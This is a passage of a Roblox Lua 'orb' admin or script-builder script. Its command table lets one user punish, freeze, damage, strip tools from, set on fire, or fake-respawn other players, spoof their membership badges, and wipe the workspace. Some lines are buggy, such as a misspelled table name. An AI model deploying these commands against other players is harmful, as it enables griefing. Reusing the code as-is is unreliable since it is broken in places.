  2324. local currentPos = part.CFrame
  2325. part.Size = Vector3.new(10,i,10)
  2326. part.CFrame = currentPos * CFrame.new(0,.25/2,0)
  2327. end
  2328. coroutine.wrap(function()
  2329. local durationValue = nil
  2330. if duration == "" or duration == nil or tonumber(duration) > 120 or tonumber(duration) <= 0 then durationValue = 15
  2331. else durationValue = tonumber(duration) end
  2332. wait(durationValue)
  2333. if part ~= nil and part.Parent == game.Workspace then
  2334. for i = part.Size.y, .2, -.25 do wait()
  2335. pcall(function()
  2336. local currentPos = part.CFrame
  2337. part.Size = Vector3.new(10,i,10)
  2338. part.CFrame = currentPos * CFrame.new(0,-.25/2,0)
  2339. end)
  2340. end
  2341. pcall(function() part:remove() end)
  2342. end
  2343. end)()
  2344. end)()
  2345. end
  2346. end
  2347. end
  2348. end
  2349. end
  2350.  
  2351. iCmd.respawn=function(player)
  2352. player=iGetPlayer(player)
  2353. iPCmd(player,"Bright blue")
  2354. for _,v in pairs(player) do coroutine.resume(coroutine.create(function()
  2355. if v==game.Players.LocalPlayer and iOrb.Orbed then return end
  2356. local model=Instance.new("Model",game.Workspace)
  2357. local humanoid=Instance.new("Humanoid",model)
  2358. local head=Instance.new("Part",model)
  2359. head.Anchored=true
  2360. head.Locked=true
  2361. head.CanCollide=true
  2362. head.Transparency=1
  2363. head.CFrame=CFrame.new(0,100000,0)
  2364. head.Name="Torso"
  2365. head.FormFactor="Custom"
  2366. head.Size=Vector3.new(.2,.2,.2)
  2367. model.Name=""
  2368. humanoid.MaxHealth=math.huge
  2369. v.Character=model wait(.1)
  2370. if v==game.Players.LocalPlayer then iOrb.runmsg=true iTypeMsg("Respawning. Please wait...",3) iOrb.runmsg=false end end))
  2371. end
  2372. end
  2373.  
  2374. iCmd.resp=function(player) iCmd.respawn(player) end
  2375.  
  2376. iCmd.punish=function(player)
  2377. player=iGetPlayer(tostring(player))
  2378. iPCmd(player,"Bright red")
  2379. for _,v in pairs(player) do
  2380. if v.Character~=nil then
  2381. v.Character.Parent=game:GetService("Debris")
  2382. end
  2383. end
  2384. end
  2385.  
  2386. iCmd.pun=function(player) iCmd.punish(player) end
  2387.  
  2388. iCmd.unpunish=function(player)
  2389. player=iGetPlayer(tostring(player))
  2390. iPCmd(player,"Camo")
  2391. for _,v in pairs(player) do
  2392. if v.Character~=nil then
  2393. for i,p in pairs(game:GetService("Debris"):GetChildren())do
  2394. if p:IsA("Model") and game.Players:FindFirstChild(p.Name) then
  2395. p.Parent=game.Workspace
  2396. p:MakeJoints()
  2397. end
  2398. end
  2399. end
  2400. end
  2401. end
  2402.  
  2403. iCmd.unpun=function(player) iCmd.unpunish(player) end
  2404.  
  2405. iCmd.unff=function(player)
  2406. player=iGetPlayer(tostring(player))
  2407. iPCmd(player,"Bright blue")
  2408. for _,v in pairs(player) do
  2409. if v.Character~=nil then
  2410. for _,e in pairs(v.Character:GetChildren())do
  2411. if e:IsA("ForceField") then
  2412. e:remove()
  2413. end
  2414. end
  2415. end
  2416. end
  2417. end
  2418.  
  2419. iCmd.skydive=function(player)
  2420. player=iGetPlayer(player)
  2421. iPCmd(player,"Bright blue")
  2422. for _,v in pairs(player) do
  2423. if v.Character~=nil then
  2424. if v.Character:FindFirstChild("Torso") then
  2425. coroutine.resume(coroutine.create(function() for i=1,26,1 do wait() v.Character.Torso.CFrame=CFrame.new(0,1000,0) end end))
  2426. end
  2427. end
  2428. end
  2429. end
  2430.  
  2431. iCmd.tp=function(player,player2)
  2432. player=iGetPlayer(player)
  2433. player2=iGetPlayer(player2)
  2434. coroutine.resume(coroutine.create(iPCmd),player,"Bright blue")
  2435. iPCmd(player2,"Bright blue")
  2436. for _,v in pairs(player) do
  2437. for i,v2 in pairs(player2) do if v~=v2 then
  2438. if v.Character~=nil and v2.Character~=nil then
  2439. if v.Character:FindFirstChild("Torso") and v2.Character:FindFirstChild("Torso") then
  2440. coroutine.resume(coroutine.create(function() for i=1,26,1 do wait() v.Character.Torso.CFrame=CFrame.new(v2.Character.Torso.CFrame.p)*CFrame.new(Vector3.new(0,6,0)) end end))
  2441. end
  2442. end
  2443. end end
  2444. end
  2445. end
  2446.  
  2447. iCmd.tele=function(player,player2) iCmd.tp(player,player2) end
  2448.  
  2449. iCmd.teleport=function(player,player2) iCmd.tp(player,player2) end
  2450.  
  2451. iCmd.teletoorb=function(player)
  2452. player=iGetPlayer(player)
  2453. iPCmd(player,"Bright blue")
  2454. for _,v in pairs(player) do
  2455. if v.Character~=nil and iOrb.Orb~=nil then
  2456. if v.Character:FindFirstChild("Torso") then
  2457. coroutine.resume(coroutine.create(function() for i=1,26,1 do wait() v.Character.Torso.CFrame=iOrb.Orb.CFrame*CFrame.new(0,4,0) end end))
  2458. end
  2459. end
  2460. end
  2461. end
  2462.  
  2463. iCmd.tto=function(player) iCmd.teletoorb(player) end
  2464.  
  2465. iCmd.grab=function(player)
  2466. player=iGetPlayer(player)
  2467. iPCmd(player,"Magenta")
  2468. for _,v in pairs(player) do
  2469. table.insert(iGrb,v)
  2470. end
  2471. end
  2472.  
  2473. iCmd.release=function(player)
  2474. player=iGetPlayer(player)
  2475. for _,v in pairs(player) do
  2476. for i,pl in pairs(iGrb) do
  2477. if pl==v then table.remove(iGrb,i)
  2478. if v.Character~=nil then
  2479. if v.Character:FindFirstChild("Torso") then
  2480. v.Character.Torso.Anchored=false
  2481. if iOrb.Orb~=nil then
  2482. v.Character.Torso.CFrame=iOrb.Orb.CFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  2483. elseif game.Workspace.CurrentCamera~=nil then
  2484. v.Character.Torso.CFrame=game.Workspace.CurrentCamera.CoordinateFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  2485. end
  2486. end
  2487. if v.Character:FindFirstChild("Humanoid") then
  2488. v.Character.Humanoid.WalkSpeed=16
  2489. v.Character.Humanoid.PlatformStand=false
  2490. end
  2491. function getParts(path)
  2492. for _,pl in pairs(path:GetChildren())do
  2493. if pl:IsA("BasePart") or v:IsA("Decal") then
  2494. pl.Transparency=0
  2495. end getParts(pl)
  2496. end
  2497. end getParts(v.Character)
  2498. end
  2499. end
  2500. end
  2501. end
  2502. end
  2503.  
  2504. iCmd.drop=function(player) iCmd.release(player) end
  2505.  
  2506. iCmd.renew=function() if iOrb.Orb~=nil then
  2507. iOrb.LoadAnimation=false wait() iOrb.CreateOrb=false wait() iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) if iOrb.Orbed then iRemoveOrb(game.Workspace) end wait(.1) iOrb.CreateOrb=true wait() iOrb.LoadAnimation=true
  2508. end end
  2509.  
  2510. iCmd.nogravity=function(player)
  2511. player=iGetPlayer(player)
  2512. iPCmd(player,"Bright yellow")
  2513. for _,v in pairs(player) do
  2514. if v.Character~=nil then
  2515. if v.Character:FindFirstChild("Torso") then
  2516. local grav = Instance.new("BodyForce")
  2517. grav.force=Vector3.new(0,2500,0)
  2518. for i,b in pairs(v.Character.Torso:GetChildren())do if b:IsA("BodyForce") then b:remove() end end grav.Parent = v.Character.Torso
  2519. end
  2520. end
  2521. end
  2522. end
  2523.  
  2524. iCmd.nograv=function(player) iCmd.nogravity(player) end
  2525.  
  2526. iCmd.setgrav=function(player,number)
  2527. player=iGetPlayer(player)
  2528. iPCmd(player,"Bright yellow")
  2529. for _,v in pairs(player) do
  2530. if v.Character~=nil then
  2531. if tonumber(number,10) and v.Character:FindFirstChild("Torso") then
  2532. local grav = Instance.new("BodyForce")
  2533. grav.force=Vector3.new(0,-10*tonumber(number,10),0)
  2534. for i,b in pairs(v.Character.Torso:GetChildren())do if b:IsA("BodyForce") then b:remove() end end grav.Parent = v.Character.Torso
  2535. end
  2536. end
  2537. end
  2538. end
  2539.  
  2540. iCmd.setgravity=function(player,number) iCmd.setgrav(player,number) end
  2541.  
  2542. iCmd.gravity=function(player)
  2543. player=iGetPlayer(player)
  2544. iPCmd(player,"Bright yellow")
  2545. for _,v in pairs(player) do
  2546. if v.Character~=nil then
  2547. if v.Character:FindFirstChild("Torso") then
  2548. for i,b in pairs(v.Character.Torso:GetChildren())do if b:IsA("BodyForce") then b:remove() end end
  2549. end
  2550. end
  2551. end
  2552. end
  2553.  
  2554. iCmd.grav=function(player) iCmd.gravity(player) end
  2555.  
  2556. iCmd.walkspeed=function(player,number)
  2557. player=iGetPlayer(player)
  2558. iPCmd(player,"Bright yellow")
  2559. for _,v in pairs(player) do
  2560. if v.Character~=nil then
  2561. if tonumber(number,10) and v.Character:FindFirstChild("Humanoid") then
  2562. v.Character.Humanoid.WalkSpeed=tonumber(number,10)
  2563. end
  2564. end
  2565. end
  2566. end
  2567.  
  2568. iCmd.ws=function(player,number) iCmd.walkspeed(player,number) end
  2569.  
  2570. iCmd.sit=function(player)
  2571. player=iGetPlayer(player)
  2572. iPCmd(player,"Grime")
  2573. for _,v in pairs(player) do
  2574. if v.Character~=nil then
  2575. if v.Character:FindFirstChild("Humanoid") then
  2576. v.Character.Humanoid.Sit=true
  2577. end
  2578. end
  2579. end
  2580. end
  2581.  
  2582. iCmd.jump=function(player)
  2583. player=iGetPlayer(player)
  2584. iPCmd(player,"Grime")
  2585. for _,v in pairs(player) do
  2586. if v.Character~=nil then
  2587. if v.Character:FindFirstChild("Humanoid") then
  2588. v.Character.Humanoid.Jump=true
  2589. end
  2590. end
  2591. end
  2592. end
  2593.  
  2594. iCmd.platformstand=function(player)
  2595. player=iGetPlayer(player)
  2596. iPCmd(player,"Grime")
  2597. for _,v in pairs(player) do
  2598. if v.Character~=nil then
  2599. if v.Character:FindFirstChild("Humanoid") then
  2600. v.Character.Humanoid.PlatformStand=true
  2601. end
  2602. end
  2603. end
  2604. end
  2605.  
  2606. iCmd.ps=function(player) iCmd.platformstand(player) end
  2607.  
  2608. iCmd.heal=function(player)
  2609. player=iGetPlayer(player)
  2610. iPCmd(player,"Camo")
  2611. for _,v in pairs(player) do
  2612. if v.Character~=nil then coroutine.resume(coroutine.create(function()
  2613. if v.Character:FindFirstChild("Humanoid") then
  2614. for i=1, 26, 1 do wait()
  2615. v.Character.Humanoid.Health=v.Character.Humanoid.MaxHealth
  2616. end
  2617. end
  2618. end)) end
  2619. end
  2620. end
  2621.  
  2622. iCmd.undead=function(player)
  2623. player=iGetPlayer(player)
  2624. iPCmd(player,"Camo")
  2625. for _,v in pairs(player) do
  2626. if v.Character~=nil then coroutine.resume(coroutine.create(function()
  2627. if v.Character:FindFirstChild("Humanoid") then
  2628. for i=1, 26, 1 do wait()
  2629. v.Character.Humanoid.MaxHealth=math.huge
  2630. v.Character.Humanoid.Health=math.huge
  2631. end
  2632. end
  2633. end)) end
  2634. end
  2635. end
  2636.  
  2637. iCmd.sethealth=function(player,number) if tonumber(number,10) then
  2638. player=iGetPlayer(player)
  2639. iPCmd(player,"Camo")
  2640. for _,v in pairs(player) do
  2641. if v.Character~=nil then coroutine.resume(coroutine.create(function()
  2642. if v.Character:FindFirstChild("Humanoid") then
  2643. for i=1, 26, 1 do
  2644. v.Character.Humanoid.MaxHealth=tonumber(number,10) wait()
  2645. v.Character.Humanoid.Health=tonumber(number,10)
  2646. end
  2647. end
  2648. end)) end
  2649. end
  2650. end end
  2651.  
  2652. iCmd.find=function(player)
  2653. player=iGetPlayer(player) iPCmd(player,"White")
  2654. end
  2655.  
  2656. iCmd.damage=function(player,number)
  2657. player=iGetPlayer(player)
  2658. iPCmd(player,"Bright red")
  2659. for _,v in pairs(player) do
  2660. if v.Character~=nil then
  2661. if tonumber(number,10) and v.Character:FindFirstChild("Humanoid") then
  2662. v.Character.Humanoid.Health=v.Character.Humanoid.Health-tonumber(number,10)
  2663. end
  2664. end
  2665. end
  2666. end
  2667.  
  2668. iCmd.dmg=function(player,number) iCmd.damage(player,number) end
  2669.  
  2670. iStr.rename=function(string) if iOrb.Model~=nil then if string:len() > 60 then if iOrb.Orbed then
  2671. iOrb.Name=iOrb.PlayerName.." : "..string:sub(1,60) iOrb.Model.Name=iOrb.PlayerName.." : "..string:sub(1,60) else iOrb.Name=string:sub(1,60) iOrb.Model.Name=string:sub(1,60) end elseif string:len() <= 60 and string:len() > 0 then if iOrb.Orbed then iOrb.Name=iOrb.PlayerName.." : "..string iOrb.Model.Name=iOrb.PlayerName.." : "..string else iOrb.Name=string iOrb.Model.Name=string end elseif string==nil or string:len()==0 then if iOrb.Orbed then iOrb.Name=iOrb.PlayerName iOrb.Model.Name=iOrb.PlayerName else iOrb.Name="" iOrb.Model.Name="" end end
  2672. end end
  2673.  
  2674. iStr.setname=function(string)
  2675. if iOrb.Player~=nil then
  2676. if iOrb.Player.Character~=nil then
  2677. local ToolsTable= {}
  2678. local CharTool = nil
  2679. for index, tool in pairs(iOrb.Player.Character:GetChildren()) do
  2680. if tool:IsA("Tool") then
  2681. tool.Parent = nil
  2682. CharTool = tool
  2683. end
  2684. end
  2685. for index, tool in pairs(iOrb.Player.Backpack:GetChildren()) do
  2686. tool.Parent = nil
  2687. table.insert(ToolsTable, tool)
  2688. end
  2689. iOrb.Player.Character.Archivable = true
  2690. iOrb.CharacterClone = iOrb.Player.Character:Clone()
  2691. iOrb.CharacterClone.Name = string
  2692. iOrb.CharacterClone.Archivable = false
  2693. iOrb.CharacterClone.Parent = game.Workspace
  2694. iOrb.Player.Character = iOrb.CharacterClone
  2695. if iOrb.CharacterClone:FindFirstChild("Animate") then
  2696. iOrb.CharacterClone.Animate.Disabled = true
  2697. wait()
  2698. iOrb.CharacterClone.Animate.Disabled = false
  2699. end
  2700. iOrb.CharacterClone.Archivable = false
  2701. iOrb.CharacterClone = nil
  2702. wait(.1)
  2703. if CharTool ~= nil then
  2704. CharTool.Parent = iOrb.Player.Character
  2705. end
  2706. for index, tool in pairs(ToolsTabke) do
  2707. tool.Parent = iOrb.Player.Backpack
  2708. end
  2709. end
  2710. end
  2711. end
  2712.  
  2713. iStr.sn=function(string) iStr.setname(string) end
  2714.  
  2715. iCmd.freeze=function(player)
  2716. player=iGetPlayer(player)
  2717. iPCmd(player,"Teal")
  2718. for _,v in pairs(player) do
  2719. if v.Character~=nil then
  2720. function freeze(path)
  2721. for _,v in pairs(path:GetChildren())do
  2722. if v:IsA("BasePart") then
  2723. v.Anchored=true
  2724. end freeze(v)
  2725. end end freeze(v.Character)
  2726. if v.Character:FindFirstChild("Torso") then v.Character.Torso.CFrame=v.Character.Torso.CFrame*CFrame.new(Vector3.new(0,1.5,0)) v.Character.Torso.Transparency=1 end
  2727. if v.Character:FindFirstChild("Humanoid") then v.Character.Humanoid.WalkSpeed=0 end
  2728. end
  2729. end
  2730. end
  2731.  
  2732. iCmd.unfreeze=function(player)
  2733. player=iGetPlayer(player)
  2734. iPCmd(player,"Teal")
  2735. for _,v in pairs(player) do
  2736. if v.Character~=nil then
  2737. function freeze(path)
  2738. for _,v in pairs(path:GetChildren())do
  2739. if v:IsA("BasePart") then
  2740. v.Anchored=false
  2741. end freeze(v)
  2742. end end freeze(v.Character)
  2743. if v.Character:FindFirstChild("Torso") then v.Character.Torso.Transparency=0 end
  2744. if v.Character:FindFirstChild("Humanoid") then v.Character.Humanoid.WalkSpeed=16 end
  2745. end
  2746. end
  2747. end
  2748.  
  2749. iCmd.thaw=function(player) iCmd.unfreeze(player) end
  2750.  
  2751. iCmd.lock=function(player)
  2752. player=iGetPlayer(player)
  2753. iPCmd(player,"Alder")
  2754. for _,v in pairs(player) do
  2755. if v.Character~=nil then
  2756. function freeze(path)
  2757. for _,v in pairs(path:GetChildren())do
  2758. if v:IsA("BasePart") then
  2759. v.Locked=true
  2760. end freeze(v)
  2761. end end freeze(v.Character)
  2762. end
  2763. end
  2764. end
  2765.  
  2766. iCmd.unlock=function(player)
  2767. player=iGetPlayer(player)
  2768. iPCmd(player,"Pastel violet")
  2769. for _,v in pairs(player) do
  2770. if v.Character~=nil then
  2771. function freeze(path)
  2772. for _,v in pairs(path:GetChildren())do
  2773. if v:IsA("BasePart") then
  2774. v.Locked=false
  2775. end freeze(v)
  2776. end end freeze(v.Character)
  2777. end
  2778. end
  2779. end
  2780.  
  2781. iCmd.hide=function() if iOrb.Orb~=nil then
  2782. iOrb.Fire.Enabled=false iOrb.Particles=false iOrb.Trail=false iOrb.Orb.Transparency=1
  2783. end end
  2784.  
  2785. iCmd.show=function() if iOrb.Orb~=nil then
  2786. iOrb.Fire.Enabled=true iOrb.Particles=true iOrb.Trail=true iOrb.Orb.Transparency=0
  2787. end end
  2788.  
  2789. iCmd.invisible=function(player)
  2790. player=iGetPlayer(player)
  2791. iPCmd(player,"Royal purple")
  2792. for _,v in pairs(player) do
  2793. if v.Character~=nil then
  2794. if v==iOrb.Player then if not iOrb.Orbed then iCmd.hide('') end end
  2795. function visi(path)
  2796. for _,v in pairs(path:GetChildren())do
  2797. if v:IsA("BasePart") or v:IsA("Decal") then
  2798. v.Transparency=1
  2799. end
  2800. visi(v)
  2801. end
  2802. end visi(v.Character)
  2803. end
  2804. end
  2805. end
  2806.  
  2807. iCmd.invisi=function(player) iCmd.invisible(player) end
  2808.  
  2809. iCmd.visible=function(player)
  2810. player=iGetPlayer(player)
  2811. iPCmd(player,"Pink")
  2812. for _,v in pairs(player) do
  2813. if v.Character~=nil then
  2814. if v==iOrb.Player then if not iOrb.Orbed then iCmd.show('') end end
  2815. function visi(path)
  2816. for _,v in pairs(path:GetChildren())do
  2817. if v:IsA("BasePart") or v:IsA("Decal") then
  2818. v.Transparency=0
  2819. end
  2820. visi(v)
  2821. end
  2822. end visi(v.Character)
  2823. end
  2824. end
  2825. end
  2826.  
  2827. iCmd.visi=function(player) iCmd.visible(player) end
  2828.  
  2829. iCmd.fire=function(player)
  2830. player=iGetPlayer(player)
  2831. iPCmd(player,"Really red")
  2832. for _,v in pairs(player) do
  2833. if v.Character~=nil then
  2834. function obj(path)
  2835. for _,x in pairs(path:GetChildren())do
  2836. if x:IsA("BasePart") then
  2837. Instance.new("Fire",x)
  2838. end obj(x)
  2839. end
  2840. end obj(v.Character)
  2841. end
  2842. end
  2843. end
  2844.  
  2845. iCmd.unfire=function(player)
  2846. player=iGetPlayer(player)
  2847. iPCmd(player,"Really red")
  2848. for _,v in pairs(player) do
  2849. if v.Character~=nil then
  2850. function obj(path)
  2851. for _,x in pairs(path:GetChildren())do
  2852. if x:IsA("Fire") then
  2853. x:remove()
  2854. end obj(x)
  2855. end
  2856. end obj(v.Character)
  2857. end
  2858. end
  2859. end
  2860.  
  2861. iCmd.smoke=function(player)
  2862. player=iGetPlayer(player)
  2863. iPCmd(player,"Dark stone grey")
  2864. for _,v in pairs(player) do
  2865. if v.Character~=nil then
  2866. function obj(path)
  2867. for _,x in pairs(path:GetChildren())do
  2868. if x:IsA("BasePart") then
  2869. Instance.new("Smoke",x)
  2870. end obj(x)
  2871. end
  2872. end obj(v.Character)
  2873. end
  2874. end
  2875. end
  2876.  
  2877. iCmd.unsmoke=function(player)
  2878. player=iGetPlayer(player)
  2879. iPCmd(player,"Dark stone grey")
  2880. for _,v in pairs(player) do
  2881. if v.Character~=nil then
  2882. function obj(path)
  2883. for _,x in pairs(path:GetChildren())do
  2884. if x:IsA("Smoke") then
  2885. x:remove()
  2886. end obj(x)
  2887. end
  2888. end obj(v.Character)
  2889. end
  2890. end
  2891. end
  2892.  
  2893. iCmd.sparkles=function(player)
  2894. player=iGetPlayer(player)
  2895. iPCmd(player,"White")
  2896. for _,v in pairs(player) do
  2897. if v.Character~=nil then
  2898. function obj(path)
  2899. for _,x in pairs(path:GetChildren())do
  2900. if x:IsA("BasePart") then
  2901. Instance.new("Sparkles",x)
  2902. end obj(x)
  2903. end
  2904. end obj(v.Character)
  2905. end
  2906. end
  2907. end
  2908.  
  2909. iCmd.unsparkles=function(player)
  2910. player=iGetPlayer(player)
  2911. iPCmd(player,"White")
  2912. for _,v in pairs(player) do
  2913. if v.Character~=nil then
  2914. function obj(path)
  2915. for _,x in pairs(path:GetChildren())do
  2916. if x:IsA("Sparkles") then
  2917. x:remove()
  2918. end
  2919. obj(x)
  2920. end
  2921. end obj(v.Character)
  2922. end
  2923. end
  2924. end
  2925.  
  2926. iCmd.god=function(player)
  2927. player=iGetPlayer(player)
  2928. iPCmd(player,"White")
  2929. for _,v in pairs(player) do
  2930. if v.Character~=nil then
  2931. local _Info = {tostring(v.Name)}
  2932. function obj(path)
  2933. for _,x in pairs(path:GetChildren())do
  2934. if x:IsA("BasePart") then
  2935. local _Event = x.Touched:connect(function(part)
  2936. part.Anchored = true
  2937. coroutine.wrap(function()
  2938. for i = 0, 1, 0.1 do wait()
  2939. part.Transparency = i
  2940. end
  2941. part:remove()
  2942. end)()
  2943. end) table.insert(_Info, _Event)
  2944. end obj(x)
  2945. end
  2946. end obj(v.Character)
  2947. table.insert(iGod, _Info)
  2948. end
  2949. end
  2950. end
  2951.  
  2952. iCmd.ungod=function(player)
  2953. player=iGetPlayer(player)
  2954. iPCmd(player,"White")
  2955. for i,gt in pairs(iGod)do
  2956. for _,v in pairs(player) do
  2957. if i:sub(1,v.Name:len()) == v.Name then
  2958. table.remove(iGod, i)
  2959. end
  2960. end
  2961. end
  2962. end
  2963.  
  2964. iCmd.unit=function(player) if iOrb.Orbed==true and game.Workspace.CurrentCamera~=nil then
  2965. if player==nil or player=="" then game.Workspace.CurrentCamera.CoordinateFrame=CFrame.new(0,1,0) else
  2966. player=iGetPlayer(player)
  2967. for _,v in pairs(player)do
  2968. if v.Character~=nil then
  2969. if v.Character:FindFirstChild("Torso") then
  2970. game.Workspace.CurrentCamera.CoordinateFrame=v.Character.Torso.CFrame
  2971. game.Workspace.CurrentCamera.Focus=CFrame.new((v.Character.Torso.CFrame.lookVector)*1000)
  2972. end
  2973. end
  2974. end end
  2975. end end
  2976.  
  2977. iStr.time=function(string)
  2978. game:GetService("Lighting").TimeOfDay=string
  2979. end
  2980.  
  2981. iCmd.fogend=function(number)
  2982. if tonumber(number,10) then game:GetService("Lighting").FogEnd=tonumber(number,10) end
  2983. end
  2984.  
  2985. iCmd.fogstart=function(number)
  2986. if tonumber(number,10) then game:GetService("Lighting").FogStart=tonumber(number,10) end
  2987. end
  2988.  
  2989. iVal.fogcolor=function(x,y,z)
  2990. game:GetService("Lighting").FogColor=Color3.new(x/255,y/255,z/255)
  2991. end
  2992.  
  2993. iVal.fcolor1=function(x,y,z) iOrb.FireColorChange=false
  2994. iOrb.Fire.Color=Color3.new(x/255,y/255,z/255)
  2995. end
  2996.  
  2997. iVal.fcolor2=function(x,y,z) iOrb.FireColorChange=false
  2998. iOrb.Fire.SecondaryColor=Color3.new(x/235,y/235,z/235)
  2999. end
  3000.  
  3001. iVal.fcolor=function(x,y,z) iOrb.FireColorChange=false
  3002. iOrb.Fire.Color=Color3.new(x/255,y/255,z/255)
  3003. iOrb.Fire.SecondaryColor=Color3.new(x/245,y/245,z/245)
  3004. end
  3005.  
  3006. iVal.ambient=function(x,y,z)
  3007. game:GetService("Lighting").Ambient=Color3.new(x/255,y/255,z/255)
  3008. end
  3009.  
  3010. iCmd.nbc=function(player) player=iGetPlayer(player)
  3011. for _,v in pairs(player) do
  3012. coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 0 end))
  3013. end
  3014. end
  3015.  
  3016. iCmd.bc=function(player) player=iGetPlayer(player) iPCmd(player,"Cool yellow")
  3017. for _,v in pairs(player) do
  3018. coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 1 end))
  3019. end
  3020. end
  3021.  
  3022. iCmd.tbc=function(player) player=iGetPlayer(player) iPCmd(player,"Bright orange")
  3023. for _,v in pairs(player) do
  3024. coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 2 end))
  3025. end
  3026. end
  3027.  
  3028. iCmd.obc=function(player) player=iGetPlayer(player) iPCmd(player,"Black")
  3029. for _,v in pairs(player) do
  3030. coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 3 end))
  3031. end
  3032. end
  3033.  
  3034. iCmd.morning=function()
  3035. coroutine.resume(coroutine.create(function()
  3036. game:GetService("Lighting").TimeOfDay="6:30:00"
  3037. game:GetService("Lighting").FogStart=0
  3038. game:GetService("Lighting").FogEnd=100000
  3039. game:GetService("Lighting").Ambient=Color3.new(165/255,165/255,165/255)
  3040. end))
  3041. end
  3042.  
  3043. iCmd.day=function()
  3044. coroutine.resume(coroutine.create(function()
  3045. game:GetService("Lighting").TimeOfDay="12:00:00"
  3046. game:GetService("Lighting").FogStart=0
  3047. game:GetService("Lighting").FogEnd=100000
  3048. game:GetService("Lighting").Ambient=Color3.new(170/255,170/255,170/255)
  3049. end))
  3050. end
  3051.  
  3052. iCmd.evening=function()
  3053. coroutine.resume(coroutine.create(function()
  3054. game:GetService("Lighting").TimeOfDay="17:57:00"
  3055. game:GetService("Lighting").FogStart=0
  3056. game:GetService("Lighting").FogEnd=100000
  3057. game:GetService("Lighting").FogColor=Color3.new(0,0,0)
  3058. game:GetService("Lighting").Ambient=Color3.new(100/255,100/255,100/255)
  3059. end))
  3060. end
  3061.  
  3062. iCmd.night=function()
  3063. coroutine.resume(coroutine.create(function()
  3064. game:GetService("Lighting").TimeOfDay="00:00:00"
  3065. game:GetService("Lighting").FogStart=0
  3066. game:GetService("Lighting").FogEnd=300
  3067. game:GetService("Lighting").FogColor=Color3.new(0,0,0)
  3068. game:GetService("Lighting").Ambient=Color3.new(20/255,20/255,20/255)
  3069. end))
  3070. end
  3071.  
  3072. iCmd.base=function()
  3073. coroutine.resume(coroutine.create(function()
  3074. local base=Instance.new("Part",game.Workspace) base.Name="Base" base.Anchored=true base.Locked=true base.Size=Vector3.new(1000,1.2,1000) base.BrickColor=BrickColor.new("Camo") base.Material="Grass" base.CFrame=CFrame.new(0,0,0) base.BottomSurface="Smooth" base.TopSurface="Smooth"
  3075. local spawn=Instance.new("SpawnLocation",base) spawn.Anchored=true spawn.Locked=true spawn.CanCollide=false spawn.Size=Vector3.new(1.2,1.2,1.2) spawn.Transparency=1 spawn.CFrame=CFrame.new(0,0,0)
  3076. end))
  3077. end
  3078.  
  3079. iCmd.clear=function()
  3080. coroutine.resume(coroutine.create(function() iOrb.Clearing=true
  3081. for _,v in pairs(game.Workspace:GetChildren())do
  3082. if not game.Players:GetPlayerFromCharacter(v) and v~=game.Workspace.CurrentCamera then
  3083. if v:IsA("BaseScript") then v.Disabled=true end pcall(function() v:Destroy() end)
  3084. end
  3085. end
  3086. for _,v in pairs(game:GetService("Lighting"):GetChildren())do
  3087. if v:IsA("Sky") then
  3088. v:Destroy()
  3089. end
  3090. end
  3091. iCmd.day() iCmd.base() iOrb.Clearing=false
  3092. end))
  3093. end
  3094.  
  3095. iCmd.terrainclear=function()
  3096. for _,v in pairs(game.Workspace:GetChildren())do
  3097. if v:IsA("Terrain") then v:Clear() end
  3098. end
  3099. end
  3100.  
  3101. iCmd.rmsg=function()
  3102. coroutine.resume(coroutine.create(function()
  3103. for _,v in pairs(game.Workspace:GetChildren())do
  3104. if v:IsA("Message") or v:IsA("Hint") then
  3105. v:Destroy()
  3106. end
  3107. end
  3108. for _,v in pairs(game.Players:GetPlayers())do
  3109. if v:FindFirstChild("PlayerGui") then
  3110. if v:IsA("Message") or v:IsA("Hint") then
  3111. v:Destroy()
  3112. end
  3113. end
  3114. end
  3115. end))
  3116. end
  3117.  
  3118. iCmd.bt=function(player,toolname) player=iGetPlayer(player) iPCmd(player,"Navy blue")
  3119. for _,v in pairs(player) do
  3120. coroutine.resume(coroutine.create(function()
  3121. if toolname == nil or toolname == "" and v==iOrb.Player then
  3122. coroutine.resume(coroutine.create(iCreateBtools))
  3123. end
  3124. for i,t in pairs(iBuild) do
  3125. if toolname == nil or toolname == "" then
  3126. iInsertool(v,t)
  3127. else
  3128. if tostring(i) == toolname then
  3129. iInsertool(v,t)
  3130. end
  3131. end
  3132. end
  3133. end)) end end
  3134.  
  3135. iCmd.bts=function(player,toolname) iCmd.bt(player,toolname) end
  3136. iCmd.btool=function(player,toolname) iCmd.bt(player,toolname) end
  3137. iCmd.btools=function(player,toolname) iCmd.bt(player,toolname) end
  3138.  
  3139. iCmd.gr=function(player,gearname) player=iGetPlayer(player) iPCmd(player,"Navy blue")
  3140. for _,v in pairs(player) do
  3141. coroutine.resume(coroutine.create(function()
  3142. for i,t in pairs(iGears) do
  3143. if gearname == nil or gearname == "" then
  3144. iInsertool(v,t)
  3145. else
  3146. if tostring(i) == gearname then
  3147. iInsertool(v,t)
  3148. end
  3149. end
  3150. end
  3151. end))
  3152. end
  3153. end
  3154.  
  3155. iCmd.grs=function(player,gearname) iCmd.gr(player,gearname) end
  3156. iCmd.gear=function(player,gearname) iCmd.gr(player,gearname) end
  3157. iCmd.gears=function(player,gearname) iCmd.gr(player,gearname) end
  3158.  
  3159. iCmd.rt=function(player) player=iGetPlayer(player) iPCmd(player,"Bright red")
  3160. for _,v in pairs(player) do
  3161. if v:FindFirstChild("Backpack") then
  3162. for i,tools in pairs(v.Backpack:GetChildren())do
  3163. tools:Destroy()
  3164. end
  3165. end
  3166. if v.Character ~= nil then
  3167. for i,tool in pairs(v.Character:GetChildren())do
  3168. if tool:IsA("Tool") then
  3169. tool:Destroy()
  3170. end
  3171. end
  3172. end
  3173. end
  3174. end
  3175.  
  3176. iCmd.rts=function(player) iCmd.rt(player) end
  3177. iCmd.rtool=function(player) iCmd.rt(player) end
  3178. iCmd.rtools=function(player) iCmd.rt(player) end
  3179.  
  3180. iCmd.endorb=function()
